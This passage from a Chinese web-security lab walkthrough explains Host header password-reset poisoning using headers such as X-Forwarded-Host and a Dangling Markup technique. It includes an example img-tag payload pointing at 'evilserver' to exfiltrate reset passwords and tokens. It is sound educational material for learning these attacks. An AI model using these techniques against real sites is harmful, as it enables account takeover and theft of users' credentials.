https://ac651f551e5317b8800207bd008f000f.web-security-academy.net/forgot-password?temp-forgot-password-token=00YIexUDyNLEJkaBXDoCILWtZAGaxgi7
文章插图
随即进入输入新密码的界面,密码重置中毒成功 。
5.1.2 密码重置中毒—注入覆盖Host头的字段有时候直接修改Host头、添加重复Host头的值以及混淆Host头都不行:
文章插图
可以尝试使用与Host头功能相同的HTTP字段,如X-Forwarded-Host、X-Forwarded-For等,可以进行Fuzz:
文章插图
实际上他能够被 X-Forwarded-Host 字段影响,导致Host头攻击,当同时添加多个字段使请求被拦截时,可以尝试类似排除法、二分法来排查哪个字段有效 。
对受害用户carlos进行密码重置投毒:
文章插图
然后构造链接即可:
https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h
文章插图
5.1.3 重置密码中毒—Dangling Markup技术首先简单介绍一下 Dangling Markup技术:
Dangling markup技术关于 Dangling Markup技术 的实战意义可以参考博主之前的文章:绕过CSP之Dangling markup技术
Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置 。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它非常有用 。其思想是插入一些未完成状态的部分html,例如图像标记的src属性,页面上的其余标记关闭该属性,但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器 。
例如,我们在反射型XSS注入点上注入这样一个img标签:
<img src=https://www.isolves.com/it/aq/hk/2022-01-10/"https://evilserver/?
则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用 。
什么时候可以使用 Dangling Markup技术 呢?与我们这篇文章的主题有什么关系呢?
我们直接进入主题,当输入需要重置密码的用户名后,该用户的邮箱内会收到如下邮箱:
文章插图
有一个跳转到登录界面的链接,后面紧接着重置之后的随机密码 。
此时考虑一下,该链接是否是从Host头取值而来?只要这个值可控,那么就可以利用Host头攻击实施 Dangling Markup攻击,包含住链接后面紧跟着的密码,再结合Host头攻击将请求指定到攻击者服务器上 。一个漫天过海的窃取行为就完成了 。
- 第一步,寻找Host头攻击点:
文章插图
文章插图
通过在Host头的端口中注入payload,依旧可以实现Host头攻击 。
- 第二步,借助可控变量 Host:ip:port 来实施 Dangling Markup技术,从而将后面的密码外带到攻击者服务器上:
文章插图
原本的正常HTML是这样的:
文章插图
通过Dangling Markup技术 在a标签的链接中注入? 符,使得后面的值在双引号闭合之前全部被当做URL参数请求到攻击者服务器上:
文章插图
推荐阅读
- 为什么外面卖的馒头很软?
- 乳头轻微疼痛是为什么?
- 奶头涨疼是怀孕的症状
- GitHub开源Q版头像生成器,速来领取你的个性化头像
- 念球菌龟头炎吃什么药
- 龟头褶皱发红
- 龟头老是反复发炎是什么原因?
- 龟头有灼热感用什么药
- 龟头有红点自己能好吗
- 龟头有丘疹